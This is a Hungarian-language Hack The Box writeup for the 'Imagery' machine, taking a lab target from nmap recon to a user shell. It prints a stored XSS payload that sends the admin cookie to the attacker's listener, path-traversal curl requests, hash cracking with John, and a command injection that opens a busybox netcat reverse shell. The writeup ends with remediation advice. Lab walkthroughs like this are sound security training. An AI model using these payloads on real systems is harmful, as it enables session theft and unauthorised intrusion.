Skip to content
Check out my YouTube channel & hit Subscribe for more Red Team content! 👉 Join us on Youtube
🔥 Limited Time Offer: Get my ebook Inside the Mind of a Penetration Tester and receive an exclusive HTB Fullhouse Pro Lab writeup as a bonus! Grab it here

Imagery — HTB Writeup

Platform: Linux
IP: 10.129.165.87
Difficulty: Medium
Author: NoSec


wanna go deeper? unlock short videos & early root chains by joining backdoor crew

💀 join the backdoor crew

Recon – Nmap

nmap -sVC 10.129.165.87
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
  • 22/tcp – SSH
  • 8000/tcp – HTTP (Werkzeug, Python 3.12.7)

A weben egy Image Gallery alkalmazás fut.


A bug report oldalon stored XSS volt. Indítsunk egy egyszerű HTTP szervert a callback-ek fogadására:

python3 -m http.server 4444

Töltsük be egy hibajelentésbe a payloadot:

<img src=x onerror=fetch('http://<YOUR-IP>:4444/?pwned='+document.cookie)>

Amikor az admin megnyitotta a reportot, az admin munkamenet-cookie-ja elküldésre került a listenerünknek.


LFI az admin végponton

A megszerzett admin cookie-val elérhető az /admin/get_system_log végpont, amely a log_identifier paraméter alapján fájlokat olvas be — path traversal engedélyezett.

Állítsuk be a COOKIE változót:

COOKIE="session=ADMIN_COOKIE"

Példa a DB lekérésére:

curl -s -H "Cookie: $COOKIE" \
 "http://10.129.184.125:8000/admin/get_system_log?log_identifier=../../../../home/web/web/db.json" | jq .

Ezzel megtaláltuk a felhasználókat és a jelszóhash-eket.


Hash törés

Mentsük el a hasht:

echo '2c65c8d7<HASH>' >> hashes.txt

Törjük John-nal:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

A feltört hitelesítő adatokkal be lehet jelentkezni a webappon.


Webshell — Parancsinjekció az image transformban

testuser-ként töltsünk fel egy képet, kapjuk el a transform/crop kérést Burp-ben, és módosítsuk a height paramétert:

"height":"100; busybox nc YOUR-IP 4444 -e /bin/sh; echo"

Indítsunk egy listenert:

nc -lvnp 4444

Triggereljük a transzformot — visszakapjuk a webfelhasználói shellt.


Pivot mark felhasználóhoz — backup bruteforce

A web shellből keressük a backupokat:

ls -la /var/backup

Megtaláltuk:

web_20250806_120723.zip.aes

Töltsük le az archívumot a saját gépünkre és bruteforcoljuk (egyedi Python script / pyAesCrypt loop). Kicsomagolva megtaláljuk a régi db.json-t, amely tartalmazta a korábbi felhasználói hash-eket, többek között mark-ét is.

Törjük ki offline:

echo '<mark_hash>' >> hashes.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Felhasználói hozzáférés — su mark

A webshellből váltunk mark felhasználóra:

su mark

Ezzel megszereztük a user flag-et.


Összefoglalás

  • Stored XSS → admin cookie eltulajdonítása
  • LFI az admin log végponton → db.json kinyerése
  • Hash törés → testuser hozzáférés
  • Parancsinjekció az image transformban → webshell
  • Backup bruteforce → régi db.json a mark hash-csel
  • Hash törés → mark hitelesítő adatok → su mark → user flag

Megjegyzések & javítási javaslatok

  • Szűrjük és escape-eljük az admin felületen megjelenített user-tartalmat; alkalmazzunk CSP-t és állítsuk a cookiekat HttpOnly-ra.
  • Kanonizáljuk és whitelist-eljük a fájlokhoz való hozzáférést; utasítsuk el a .. bejegyzéseket.
  • Soha ne építsünk shell parancsot felhasználói inputból; használjunk könyvtári API-kat.
  • Izoláljuk a képfeldolgozó folyamatokat és csökkentsük a jogosultságaikat.
  • A biztonsági mentéseket erősen titkosítsuk és megfelelő kulcskezelést alkalmazzunk.

🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn


☕ hívj meg egy kávéra, hogy ne aludjak el a következő writeup írása közben

💻 támogasd a nosec-et